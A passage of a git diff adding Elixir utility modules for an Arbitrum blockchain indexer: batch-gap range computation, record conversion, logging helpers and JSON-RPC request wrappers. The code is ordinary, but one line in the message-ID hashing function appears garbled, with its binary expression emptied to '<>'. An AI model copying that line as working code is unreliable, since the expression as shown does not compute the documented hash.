neighboring ranges, and finally maps these ranges to the + corresponding L1 block numbers. + + ## Parameters + - `start_batch_number`: The starting batch number of the search range. + - `end_batch_number`: The ending batch number of the search range. + - `block_for_batch_0`: The L1 block number corresponding to the batch number 0. + + ## Returns + - A list of tuples, each containing a start and end L1 block number for the + ranges corresponding to the missing batches. + + ## Examples + + Example #1 + - Within the range from 1 to 10, the missing batch is 2. The L1 block for the + batch #1 is 10, and the L1 block for the batch #3 is 31. + - The output will be `[{10, 31}]`. + + Example #2 + - Within the range from 1 to 10, the missing batches are 2 and 6, and + - The L1 block for the batch #1 is 10. + - The L1 block for the batch #3 is 31. + - The L1 block for the batch #5 is 64. + - The L1 block for the batch #7 is 90. + - The output will be `[{10, 31}, {64, 90}]`. + + Example #3 + - Within the range from 1 to 10, the missing batches are 2 and 4, and + - The L1 block for the batch #1 is 10. + - The L1 block for the batch #3 is 31. + - The L1 block for the batch #5 is 64. + - The output will be `[{10, 31}, {32, 64}]`. + + Example #4 + - Within the range from 1 to 10, the missing batches are 2 and 4, and + - The L1 block for the batch #1 is 10. + - The L1 block for the batch #3 is 31. + - The L1 block for the batch #5 is 31. + - The output will be `[{10, 31}]`. + """ + @spec get_l1_block_ranges_for_missing_batches(non_neg_integer(), non_neg_integer(), FullBlock.block_number()) :: [ + {FullBlock.block_number(), FullBlock.block_number()} + ] + def get_l1_block_ranges_for_missing_batches(start_batch_number, end_batch_number, block_for_batch_0) + when is_integer(start_batch_number) and is_integer(end_batch_number) and end_batch_number >= start_batch_number do + # credo:disable-for-lines:4 Credo.Check.Refactor.PipeChainStart + neighbors_of_missing_batches = + Reader.find_missing_batches(start_batch_number, end_batch_number) + |> list_to_chunks() + |> chunks_to_neighbor_ranges() + + batches_gaps_to_block_ranges(neighbors_of_missing_batches, block_for_batch_0) + end + + # Splits a list into chunks of consecutive numbers, e.g., [1, 2, 3, 5, 6, 8] becomes [[1, 2, 3], [5, 6], [8]]. + @spec list_to_chunks([non_neg_integer()]) :: [[non_neg_integer()]] + defp list_to_chunks(list) do + chunk_fun = fn current, acc -> + case acc do + [] -> + {:cont, [current]} + + [last | _] = acc when current == last + 1 -> + {:cont, [current | acc]} + + acc -> + {:cont, Enum.reverse(acc), [current]} + end + end + + after_fun = fn acc -> + case acc do + # Special case to handle the situation when the initial list is empty + [] -> {:cont, []} + _ -> {:cont, Enum.reverse(acc), []} + end + end + + list + |> Enum.chunk_while([], chunk_fun, after_fun) + end + + # Converts chunks of elements into neighboring ranges, e.g., [[1, 2], [4]] becomes [{0, 3}, {3, 5}]. + @spec chunks_to_neighbor_ranges([[non_neg_integer()]]) :: [{non_neg_integer(), non_neg_integer()}] + defp chunks_to_neighbor_ranges([]), do: [] + + defp chunks_to_neighbor_ranges(list_of_chunks) do + list_of_chunks + |> Enum.map(fn current -> + case current do + [one_element] -> {one_element - 1, one_element + 1} + chunk -> {List.first(chunk) - 1, List.last(chunk) + 1} + end + end) + end + + # Converts batch number gaps to L1 block ranges for missing batches discovery. + # + # This function takes a list of neighboring batch number ranges representing gaps + # in the batch sequence and converts them to corresponding L1 block ranges. These + # L1 block ranges can be used to rediscover missing batches. + # + # ## Parameters + # - `neighbors_of_missing_batches`: A list of tuples, each containing the start + # and end batch numbers of a gap in the batch sequence. + # - `block_for_batch_0`: The L1 block number corresponding to batch number 0. + # + # ## Returns + # - A list of tuples, each containing the start and end L1 block numbers for + # ranges where missing batches should be rediscovered. + @spec batches_gaps_to_block_ranges([{non_neg_integer(), non_neg_integer()}], FullBlock.block_number()) :: + [{FullBlock.block_number(), FullBlock.block_number()}] + defp batches_gaps_to_block_ranges(neighbors_of_missing_batches, block_for_batch_0) + + defp batches_gaps_to_block_ranges([], _), do: [] + + defp batches_gaps_to_block_ranges(neighbors_of_missing_batches, block_for_batch_0) do + l1_blocks = + neighbors_of_missing_batches + |> Enum.reduce(MapSet.new(), fn {start_batch, end_batch}, acc -> + acc + |> MapSet.put(start_batch) + |> MapSet.put(end_batch) + end) + # To avoid error in getting L1 block for the batch 0 + |> MapSet.delete(0) + |> MapSet.to_list() + |> Reader.get_l1_blocks_of_batches_by_numbers() + # It is safe to add the block for the batch 0 even if the batch 1 is missing + |> Map.put(0, block_for_batch_0) + + neighbors_of_missing_batches + |> Enum.reduce({[], %{}}, fn {start_batch, end_batch}, {res, blocks_used} -> + range_start = l1_blocks[start_batch] + range_end = l1_blocks[end_batch] + # If the batch's block was already used as a block finishing one of the ranges + # then we should start another range from the next block to avoid discovering + # the same batches batches again. + case {Map.get(blocks_used, range_start, false), range_start == range_end} do + {true, true} -> + # Edge case when the range consists of a single block (several batches in + # the same block) which is going to be inspected up to this moment. + {res, blocks_used} + + {true, false} -> + {[{range_start + 1, range_end} | res], Map.put(blocks_used, range_end, true)} + + {false, _} -> + {[{range_start, range_end} | res], Map.put(blocks_used, range_end, true)} + end + end) + |> elem(0) + end + + @doc """ + Retrieves the minimum and maximum batch numbers of L1 batches. + + ## Returns + - A tuple containing the minimum and maximum batch numbers or `{nil, nil}` if no batches are found. + """ + @spec get_min_max_batch_numbers() :: {non_neg_integer() | nil, non_neg_integer() | nil} + def get_min_max_batch_numbers do + Reader.get_min_max_batch_numbers() + end + + @doc """ + Checks if an AnyTrust keyset exists in the database using the provided keyset hash. + + ## Parameters + - `keyset_hash`: The hash of the keyset to be checked. + + ## Returns + - `true` if the keyset exists, `false` otherwise. + """ + @spec anytrust_keyset_exists?(binary()) :: boolean() + def anytrust_keyset_exists?(keyset_hash) do + not Enum.empty?(Reader.get_anytrust_keyset(keyset_hash)) + end + + @doc """ + Retrieves data availability records from the database for the given list of data keys. + + ## Parameters + - `data_keys`: A list of binary data keys to search for in the database. + + ## Returns + - A list of matching `DaMultiPurposeRecord` records in import format, or an empty list if no matches are found. + """ + @spec da_records_by_keys([binary()]) :: [Arbitrum.DaMultiPurposeRecord.to_import()] + def da_records_by_keys(data_keys) when is_list(data_keys) do + data_keys + |> Reader.da_records_by_keys() + |> Enum.map(&da_record_to_import_format/1) + end + + # Transforms a DaMultiPurposeRecord database record to import format + @spec da_record_to_import_format(Arbitrum.DaMultiPurposeRecord.t()) :: Arbitrum.DaMultiPurposeRecord.to_import() + defp da_record_to_import_format(record) do + # Extract required fields + required_keys = [:data_type, :data_key, :batch_number] + + # Create base map with required fields + import_format = DbTools.db_record_to_map(required_keys, record) + + # Handle the data field separately to ensure it remains as a map + data = + case record.data do + nil -> nil + %{} = data_map -> data_map + # Convert any other format to map if needed + other -> other + end + + # Add the data field to the result + Map.put(import_format, :data, data) + end + + @spec rollup_block_to_map(Arbitrum.BatchBlock.t()) :: Arbitrum.BatchBlock.to_import() + defp rollup_block_to_map(block) do + [:batch_number, :block_number, :confirmation_id] + |> DbTools.db_record_to_map(block) + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction for a specific rollup block was included. + + ## Parameters + - `rollup_block_number`: The number of the rollup block for which to find the confirmation L1 block. + + ## Returns + - The L1 block number if the rollup block is confirmed and the confirmation transaction is indexed; + `nil` otherwise. + """ + @spec l1_block_of_confirmation_for_rollup_block(FullBlock.block_number()) :: FullBlock.block_number() | nil + def l1_block_of_confirmation_for_rollup_block(rollup_block_number) + when is_integer(rollup_block_number) and rollup_block_number >= 0 do + case Reader.l1_block_of_confirmation_for_rollup_block(rollup_block_number) do + {:ok, block_number} -> block_number + _ -> nil + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/tools.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/tools.ex new file mode 100644 index 000000000000..e3eb7cf4c587 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/tools.ex @@ -0,0 +1,49 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Db.Tools do + @moduledoc """ + Internal database utility functions for Arbitrum-related data processing. + + This module is designed to be used exclusively within the + `Indexer.Fetcher.Arbitrum.Utils.Db` namespace. + """ + + alias Explorer.Chain.{Data, Hash} + + @doc """ + Converts an Arbitrum-related database record to a map with specified keys and optional encoding. + + This function is used to transform various Arbitrum-specific database records + (such as LifecycleTransaction, BatchBlock, or Message) into maps containing + only the specified keys. It's particularly useful for preparing data for + import or further processing of Arbitrum blockchain data. + + Parameters: + - `required_keys`: A list of atoms representing the keys to include in the + output map. + - `record`: The database record or struct to be converted. + - `encode`: Boolean flag to determine if Hash and Data types should be + encoded to strings (default: false). When true, Hash and Data are + converted to string representations; otherwise, their raw bytes are used. + + Returns: + - A map containing only the required keys from the input record. Hash and + Data types are either encoded to strings or left as raw bytes based on + the `encode` parameter. + """ + @spec db_record_to_map([atom()], map(), boolean()) :: map() + def db_record_to_map(required_keys, record, encode \\ false) do + required_keys + |> Enum.reduce(%{}, fn key, record_as_map -> + raw_value = Map.get(record, key) + + # credo:disable-for-lines:5 Credo.Check.Refactor.Nesting + value = + case raw_value do + %Hash{} -> if(encode, do: Hash.to_string(raw_value), else: raw_value.bytes) + %Data{} -> if(encode, do: Data.to_string(raw_value), else: raw_value.bytes) + _ -> raw_value + end + + Map.put(record_as_map, key, value) + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/helper.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/helper.ex new file mode 100644 index 000000000000..fc0f9e33cae5 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/helper.ex @@ -0,0 +1,310 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Helper do + alias Explorer.Chain.Arbitrum.LifecycleTransaction + alias Explorer.Chain.Cache.BackgroundMigrations + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + @moduledoc """ + Provides utility functions to support the handling of Arbitrum-specific data fetching and processing in the indexer. + """ + + @doc """ + Updates the data for a task of the batches fetcher. + + This function takes the current state, a task tag, and a map of updates, then + merges the updates with the existing task data for that tag. + + ## Parameters + - `state`: The current state map containing task_data + - `task_tag`: The atom key for the task (e.g. :new_executions or :historical_executions) + - `updates`: Map of values to merge with the current task data + + ## Returns + - Updated state with merged task data + + ## Examples + + iex> state = %{task_data: %{new_executions: %{start_block: 100}}} + iex> update_fetcher_task_data(state, :new_executions, %{start_block: 200}) + %{task_data: %{new_executions: %{start_block: 200}}} + """ + @spec update_fetcher_task_data( + %{:task_data => %{optional(atom()) => map()}, optional(any()) => any()}, + atom(), + map() + ) :: %{:task_data => %{optional(atom()) => map()}, optional(any()) => any()} + def update_fetcher_task_data(%{task_data: data} = state, task_tag, updates) + when is_atom(task_tag) and is_map(updates) do + %{state | task_data: %{data | task_tag => Map.merge(data[task_tag], updates)}} + end + + @doc """ + Checks if the unconfirmed blocks index is ready for use. + + This function verifies if the heavy DB index operation for creating the unconfirmed blocks + index has been completed. This check is necessary to avoid running queries that depend on + this index before it's fully created, which could lead to performance issues. + + ## Returns + - `true` if the index creation is complete + - `false` if the index is still being created or not started yet + """ + @spec unconfirmed_blocks_index_ready?() :: boolean() + def unconfirmed_blocks_index_ready? do + BackgroundMigrations.get_heavy_indexes_create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index_finished() + end + + @doc """ + Increases a base duration by an amount specified in a map, if present. + + This function takes a map that may contain a duration key and a current duration value. + If the map contains a duration, it is added to the current duration; otherwise, the + current duration is returned unchanged. + + ## Parameters + - `data`: A map that may contain a `:duration` key with its value representing + the amount of time to add. + - `cur_duration`: The current duration value, to which the duration from the map + will be added if present. + + ## Returns + - The increased duration. + """ + @spec increase_duration( + %{optional(:duration) => non_neg_integer(), optional(any()) => any()}, + non_neg_integer() + ) :: non_neg_integer() + def increase_duration(data, cur_duration) + when is_map(data) and is_integer(cur_duration) and cur_duration >= 0 do + if Map.has_key?(data, :duration) do + data.duration + cur_duration + else + cur_duration + end + end + + @doc """ + Enriches lifecycle transaction entries with timestamps and status based on provided block information and finalization tracking. + + This function takes a map of lifecycle transactions and extends each entry with + a timestamp (extracted from a corresponding map of block numbers to timestamps) + and a status. The status is determined based on whether finalization tracking is enabled. + + ## Parameters + - `lifecycle_transactions`: A map where each key is a transaction identifier, and the value is + a map containing at least the block number (`:block`). + - `blocks_to_ts`: A map linking block numbers to their corresponding timestamps. + - `track_finalization?`: A boolean flag indicating whether to mark transactions + as unfinalized or finalized. + + ## Returns + - An updated map of the same structure as `lifecycle_transactions` but with each transaction extended to include: + - `timestamp`: The timestamp of the block in which the transaction is included. + - `status`: Either `:unfinalized` if `track_finalization?` is `true`, or `:finalized` otherwise. + """ + @spec extend_lifecycle_transactions_with_ts_and_status( + %{binary() => %{:block => non_neg_integer(), optional(any()) => any()}}, + %{non_neg_integer() => DateTime.t()}, + boolean() + ) :: %{binary() => LifecycleTransaction.to_import()} + def extend_lifecycle_transactions_with_ts_and_status(lifecycle_transactions, blocks_to_ts, track_finalization?) + when is_map(lifecycle_transactions) and is_map(blocks_to_ts) and is_boolean(track_finalization?) do + lifecycle_transactions + |> Map.keys() + |> Enum.reduce(%{}, fn transaction_key, updated_transactions -> + Map.put( + updated_transactions, + transaction_key, + Map.merge(lifecycle_transactions[transaction_key], %{ + timestamp: blocks_to_ts[lifecycle_transactions[transaction_key].block_number], + status: + if track_finalization? do + :unfinalized + else + :finalized + end + }) + ) + end) + end + + @doc """ + Compares a lifecycle transaction with new block number and timestamp, and updates if necessary. + + This function checks if the given lifecycle transaction has the same block number + and timestamp as the provided values. If they are the same, it returns `{:same, nil}`. + If they differ, it updates the transaction with the new block number and timestamp, + logs the update, and returns `{:updated, updated_transaction}`. + + ## Parameters + - `transaction`: The lifecycle transaction to compare and potentially update. + - `{new_block_num, new_ts}`: A tuple containing the new block number and timestamp. + - `transaction_type_str`: A string describing the type of the transaction for logging purposes. + + ## Returns + - `{:same, nil}` if the transaction block number and timestamp are the same as the provided values. + - `{:updated, updated_transaction}` if the transaction was updated with the new block number and timestamp. + """ + @spec compare_lifecycle_transaction_and_update( + LifecycleTransaction.to_import(), + {non_neg_integer(), DateTime.t()}, + String.t() + ) :: {:same, nil} | {:updated, LifecycleTransaction.to_import()} + def compare_lifecycle_transaction_and_update(transaction, {new_block_num, new_ts}, transaction_type_str) do + if transaction.block_number == new_block_num and DateTime.compare(transaction.timestamp, new_ts) == :eq do + {:same, nil} + else + log_info( + "The #{transaction_type_str} transaction 0x#{transaction.hash |> Base.encode16(case: :lower)} will be updated with the new block number and timestamp" + ) + + {:updated, + Map.merge(transaction, %{ + block_number: new_block_num, + timestamp: new_ts + })} + end + end + + @doc """ + Converts a binary data to a hexadecimal string. + + ## Parameters + - `data`: The binary data to convert to a hexadecimal string. + + ## Returns + - A hexadecimal string representation of the input data. + """ + @spec bytes_to_hex_str(binary()) :: String.t() + def bytes_to_hex_str(data) do + "0x" <> Base.encode16(data, case: :lower) + end + + @doc """ + Executes a function over a specified block range in chunks. + + This function divides a block range into smaller chunks and executes the provided + function for each chunk. It collects the results of each function execution and + returns them as a list of tuples. Each tuple contains the start and end block numbers + of the chunk and the result of the function execution for that chunk. + + If `halt_on_error` is set to `true` and the function returns anything other than + `:ok` or `{:ok, ...}`, the execution halts. However, the result of the last function + execution is still included in the resulting list. + + ## Parameters + - `start_block`: The starting block number of the range. + - `end_block`: The ending block number of the range. + - `chunk_size`: The size of each chunk in terms of block numbers. + - `func`: The function to execute for each chunk. The function should accept two + arguments: the start and end block numbers of the chunk. + - `halt_on_error` (optional): A boolean flag indicating whether to halt execution + if an error occurs. Defaults to `false`. + + ## Returns + - A list of tuples. Each tuple contains: + - A tuple with the start and end block numbers of the chunk. + - The result of the function execution for that chunk. + + ## Examples + + iex> execute_for_block_range_in_chunks(5, 25, 7, fn (start_block, end_block) -> + ...> {:ok, start_block, end_block} + ...> end) + [ + {{5, 11}, {:ok, 5, 11}}, + {{12, 18}, {:ok, 12, 18}}, + {{19, 25}, {:ok, 19, 25}} + ] + """ + @spec execute_for_block_range_in_chunks( + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + fun() + ) :: [ + {{non_neg_integer(), non_neg_integer()}, any()} + ] + @spec execute_for_block_range_in_chunks( + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + fun(), + boolean() + ) :: [ + {{non_neg_integer(), non_neg_integer()}, any()} + ] + def execute_for_block_range_in_chunks(start_block, end_block, chunk_size, func, halt_on_error \\ false) do + 0..div(end_block - start_block, chunk_size) + |> Enum.reduce_while([], fn i, res -> + chunk_start = start_block + i * chunk_size + chunk_end = min(chunk_start + chunk_size - 1, end_block) + + func_res = func.(chunk_start, chunk_end) + acc_res = [{{chunk_start, chunk_end}, func_res} | res] + + case {halt_on_error, func_res} do + {false, _} -> {:cont, acc_res} + {true, :ok} -> {:cont, acc_res} + {true, {:ok, _}} -> {:cont, acc_res} + {true, _} -> {:halt, acc_res} + end + end) + |> Enum.reverse() + end + + @doc """ + Converts a message ID to its hashed hexadecimal string representation. + + This function takes a message ID (either as an integer or a hexadecimal string), + concatenates it with 256 zero bits, computes a hash of the concatenation, and + then converts the resulting hash to a hexadecimal string with a "0x" prefix. + + ## Parameters + - `message_id`: The message ID to be hashed and converted. Can be either a + non-negative integer or a "0x"-prefixed hexadecimal string. + + ## Returns + - A string representing the hashed message ID in hexadecimal format, prefixed + with "0x". + + ## Examples + + iex> get_hashed_message_id_as_hex_str(1490421) + "0x9d1614591a3e0ba8854206a716e49ffdffc679131820fa815b989fdef9e5554d" + + iex> get_hashed_message_id_as_hex_str("0x000000000000000000000000000000000000000000000000000000000016bdf5") + "0x9d1614591a3e0ba8854206a716e49ffdffc679131820fa815b989fdef9e5554d" + """ + @spec get_hashed_message_id_as_hex_str(non_neg_integer() | binary()) :: String.t() + def get_hashed_message_id_as_hex_str(message_id) do + message_id + |> hash_for_message_id() + |> bytes_to_hex_str() + end + + # Calculates the hash for a given message ID. + # + # This function computes a 256-bit Keccak hash of the message ID. For integer + # inputs, it concatenates the 256-bit message ID with 256 zero bits before + # hashing. For hexadecimal string inputs, it first converts the string to an + # integer. + # + # ## Parameters + # - `message_id`: Either a non-negative integer or a "0x"-prefixed hexadecimal + # string of 66 characters (including the "0x" prefix). + # + # ## Returns + # - A binary representing the 256-bit Keccak hash of the processed message ID. + @spec hash_for_message_id(non_neg_integer() | binary()) :: binary() + defp hash_for_message_id(message_id) when is_integer(message_id) do + # As per https://github.com/OffchainLabs/nitro/blob/849348e10cf1d9c023f4748dc1211bd363422485/arbos/parse_l2.go#L40 + (<> <> <<0::size(256)>>) + |> ExKeccak.hash_256() + end + + defp hash_for_message_id(message_id) when is_binary(message_id) and byte_size(message_id) == 66 do + hash_for_message_id(quantity_to_integer(message_id)) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/logging.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/logging.ex new file mode 100644 index 000000000000..1dd8da71d9cf --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/logging.ex @@ -0,0 +1,162 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Logging do + @moduledoc """ + Common logging functions for Indexer.Fetcher.Arbitrum fetchers + """ + require Logger + + @doc """ + A helper function to log a message with debug severity. Uses `Logger.debug` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_debug(any()) :: :ok + def log_debug(msg) do + Logger.debug(msg) + end + + @doc """ + A helper function to log a message with warning severity. Uses `Logger.warning` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_warning(any()) :: :ok + def log_warning(msg) do + Logger.warning(msg) + end + + @doc """ + A helper function to log a message with info severity. Uses `Logger.info` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_info(any()) :: :ok + def log_info(msg) do + Logger.info(msg) + end + + @doc """ + A helper function to log a message with error severity. Uses `Logger.error` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_error(any()) :: :ok + def log_error(msg) do + Logger.error(msg) + end + + @doc """ + A helper function to log progress when handling data items in chunks. + + ## Parameters + - `prefix`: A prefix for the logging message. + - `data_items_names`: A tuple with singular and plural of data items names + - `chunk`: A list of data items numbers in the current chunk. + - `current_progress`: The total number of data items handled up to this moment. + - `total`: The total number of data items across all chunks. + + ## Returns + `:ok` + + ## Examples: + - `log_details_chunk_handling("A message", {"batch", "batches"}, [1, 2, 3], 0, 10)` produces + `A message for batches 1..3. Progress 30%` + - `log_details_chunk_handling("A message", {"batch", "batches"}, [2], 1, 10)` produces + `A message for batch 2. Progress 20%` + - `log_details_chunk_handling("A message", {"block", "blocks"}, [35], 0, 1)` produces + `A message for block 35.` + - `log_details_chunk_handling("A message", {"block", "blocks"}, [45, 50, 51, 52, 60], 1, 1)` produces + `A message for blocks 45, 50..52, 60.` + """ + @spec log_details_chunk_handling(binary(), tuple(), list(), non_neg_integer(), non_neg_integer()) :: :ok + def log_details_chunk_handling(prefix, data_items_names, chunk, current_progress, total) + # credo:disable-for-previous-line Credo.Check.Refactor.CyclomaticComplexity + when is_binary(prefix) and is_tuple(data_items_names) and is_list(chunk) and + (is_integer(current_progress) and current_progress >= 0) and + (is_integer(total) and total > 0) do + chunk_length = length(chunk) + + progress = + case chunk_length == total do + true -> + "" + + false -> + percentage = + (current_progress + chunk_length) + |> Decimal.div(total) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + " Progress: #{percentage}%" + end + + if chunk_length == 1 do + log_debug("#{prefix} for #{elem(data_items_names, 0)} ##{Enum.at(chunk, 0)}.") + else + log_debug( + "#{prefix} for #{elem(data_items_names, 1)} #{Enum.join(shorten_numbers_list(chunk), ", ")}.#{progress}" + ) + end + end + + # Transform list of numbers to the list of string where consequent values + # are combined to be displayed as a range. + # + # ## Parameters + # - `msg`: a message to log + # + # ## Returns + # `shorten_list` - resulting list after folding + # + # ## Examples: + # [1, 2, 3] => ["1..3"] + # [1, 3] => ["1", "3"] + # [1, 2] => ["1..2"] + # [1, 3, 4, 5] => ["1", "3..5"] + defp shorten_numbers_list(numbers_list) do + {shorten_list, _, _} = + numbers_list + |> Enum.sort() + |> Enum.reduce({[], nil, nil}, fn number, {shorten_list, prev_range_start, prev_number} -> + shorten_numbers_list_impl(number, shorten_list, prev_range_start, prev_number) + end) + |> then(fn {shorten_list, prev_range_start, prev_number} -> + shorten_numbers_list_impl(prev_number, shorten_list, prev_range_start, prev_number) + end) + + Enum.reverse(shorten_list) + end + + defp shorten_numbers_list_impl(number, shorten_list, prev_range_start, prev_number) do + cond do + is_nil(prev_number) -> + {[], number, number} + + prev_number + 1 != number and prev_range_start == prev_number -> + {["#{prev_range_start}" | shorten_list], number, number} + + prev_number + 1 != number -> + {["#{prev_range_start}..#{prev_number}" | shorten_list], number, number} + + true -> + {shorten_list, prev_range_start, number} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/rpc.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/rpc.ex new file mode 100644 index 000000000000..b1e6a3858363 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/rpc.ex @@ -0,0 +1,821 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Rpc do + @moduledoc """ + Common functions to simplify RPC routines for Indexer.Fetcher.Arbitrum fetchers + """ + + # TODO: Move the module under EthereumJSONRPC.Arbitrum. + + alias ABI.TypeDecoder + + import EthereumJSONRPC, + only: [json_rpc: 2, quantity_to_integer: 1, timestamp_to_datetime: 1] + + alias EthereumJSONRPC.Arbitrum.Constants.Contracts, as: ArbitrumContracts + + alias EthereumJSONRPC.Transport + alias Indexer.Helper, as: IndexerHelper + + @zero_hash "0000000000000000000000000000000000000000000000000000000000000000" + @rpc_resend_attempts 20 + + @default_binary_search_threshold 1000 + + @doc """ + Constructs a JSON RPC request to retrieve a transaction by its hash. + + ## Parameters + - `%{hash: transaction_hash, id: id}`: A map containing the transaction hash (`transaction_hash`) and + an identifier (`id`) for the request, which can be used later to establish + correspondence between requests and responses. + + ## Returns + - A `Transport.request()` struct representing the JSON RPC request for fetching + the transaction details associated with the given hash. + """ + @spec transaction_by_hash_request(%{hash: EthereumJSONRPC.hash(), id: non_neg_integer()}) :: Transport.request() + def transaction_by_hash_request(%{id: id, hash: transaction_hash}) + when is_binary(transaction_hash) and is_integer(id) do + EthereumJSONRPC.request(%{id: id, method: "eth_getTransactionByHash", params: [transaction_hash]}) + end + + @doc """ + Retrieves the block number associated with a specific keyset from the Sequencer Inbox contract. + + This function performs an `eth_call` to the Sequencer Inbox contract to get the block number + when a keyset was created. + + ## Parameters + - `sequencer_inbox_address`: The address of the Sequencer Inbox contract. + - `keyset_hash`: The hash of the keyset for which the block number is to be retrieved. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - The block number. + """ + @spec get_block_number_for_keyset( + EthereumJSONRPC.address(), + EthereumJSONRPC.hash(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: non_neg_integer() + def get_block_number_for_keyset(sequencer_inbox_address, keyset_hash, json_rpc_named_arguments) do + read_contract_and_handle_result_as_integer( + sequencer_inbox_address, + ArbitrumContracts.get_keyset_creation_block_selector(), + [keyset_hash], + ArbitrumContracts.sequencer_inbox_contract_abi(), + json_rpc_named_arguments + ) + end + + @doc """ + Executes a batch of RPC calls and returns a list of response bodies. + + This function processes a list of RPC requests and returns only the response bodies, + discarding the request IDs. The function is designed for scenarios where only + the response data is required, and the association with request IDs is not needed. + + ## Parameters + - `requests_list`: A list of `Transport.request()` instances representing the RPC calls to be made. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `help_str`: A string that helps identify the request type in log messages, used for error logging. + + ## Returns + - A list containing the bodies of the RPC call responses. This list will include both + successful responses and errors encountered during the batch execution. The developer + must handle these outcomes as appropriate. + """ + @spec make_chunked_request([Transport.request()], EthereumJSONRPC.json_rpc_named_arguments(), binary()) :: list() + def make_chunked_request(requests_list, json_rpc_named_arguments, help_str) + + def make_chunked_request([], _, _) do + [] + end + + def make_chunked_request(requests_list, json_rpc_named_arguments, help_str) + when is_list(requests_list) and is_binary(help_str) do + requests_list + |> make_chunked_request_keep_id(json_rpc_named_arguments, help_str) + |> Enum.map(fn %{result: resp_body} -> resp_body end) + end + + @doc """ + Executes a batch of RPC calls while preserving the original request IDs in the responses. + + This function processes a list of RPC requests in batches, retaining the association + between the requests and their responses to ensure that each response can be traced + back to its corresponding request. + + ## Parameters + - `requests_list`: A list of `Transport.request()` instances representing the RPC calls to be made. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `help_str`: A string that helps identify the request type in log messages, used for error logging. + + ## Returns + - A list of maps, each containing the `id` and `result` from the RPC response, maintaining + the same order and ID as the original request. If the batch execution encounters errors + that cannot be resolved after the defined number of retries, the function will log + the errors using the provided `help_str` for context and will return a list of responses + where each element is either the result of a successful call or an error description. + It is the responsibility of the developer to distinguish between successful responses + and errors and handle them appropriately. + """ + @spec make_chunked_request_keep_id([Transport.request()], EthereumJSONRPC.json_rpc_named_arguments(), binary()) :: + [%{id: non_neg_integer(), result: any()}] + def make_chunked_request_keep_id(requests_list, json_rpc_named_arguments, help_str) + + def make_chunked_request_keep_id([], _, _) do + [] + end + + def make_chunked_request_keep_id(requests_list, json_rpc_named_arguments, help_str) + when is_list(requests_list) and is_binary(help_str) do + error_message_generator = &"Cannot call #{help_str}. Error: #{inspect(&1)}" + + {:ok, responses} = + IndexerHelper.repeated_batch_rpc_call( + requests_list, + json_rpc_named_arguments, + error_message_generator, + @rpc_resend_attempts + ) + + responses + end + + @doc """ + Executes a list of block requests, retrieves their timestamps, and returns a map of block numbers to timestamps. + + ## Parameters + - `blocks_requests`: A list of `Transport.request()` instances representing the block + information requests. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `chunk_size`: The number of requests to be processed in each batch, defining the size of the chunks. + + ## Returns + - A map where each key is a block number and each value is the corresponding timestamp. + """ + @spec execute_blocks_requests_and_get_ts( + [Transport.request()], + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: %{EthereumJSONRPC.block_number() => DateTime.t()} + def execute_blocks_requests_and_get_ts(blocks_requests, json_rpc_named_arguments, chunk_size) + when is_list(blocks_requests) and is_integer(chunk_size) do + blocks_requests + |> Enum.chunk_every(chunk_size) + |> Enum.reduce(%{}, fn chunk, result -> + chunk + |> make_chunked_request(json_rpc_named_arguments, "eth_getBlockByNumber") + |> Enum.reduce(result, fn resp, result_inner -> + Map.put(result_inner, quantity_to_integer(resp["number"]), timestamp_to_datetime(resp["timestamp"])) + end) + end) + end + + @doc """ + Executes a list of transaction requests and retrieves the sender (from) addresses for each. + + ## Parameters + - `transactions_requests`: A list of `Transport.request()` instances representing the transaction requests. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `chunk_size`: The number of requests to be processed in each batch, defining the size of the chunks. + + ## Returns + - A map where each key is a transaction hash and each value is the corresponding sender's address. + """ + @spec execute_transactions_requests_and_get_from( + [Transport.request()], + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: [%{EthereumJSONRPC.hash() => EthereumJSONRPC.address()}] + def execute_transactions_requests_and_get_from(transactions_requests, json_rpc_named_arguments, chunk_size) + when is_list(transactions_requests) and is_integer(chunk_size) do + transactions_requests + |> Enum.chunk_every(chunk_size) + |> Enum.reduce(%{}, fn chunk, result -> + chunk + |> make_chunked_request(json_rpc_named_arguments, "eth_getTransactionByHash") + |> Enum.reduce(result, fn resp, result_inner -> + Map.put(result_inner, resp["hash"], resp["from"]) + end) + end) + end + + @doc """ + Retrieves the block number associated with a given block hash using the Ethereum JSON RPC 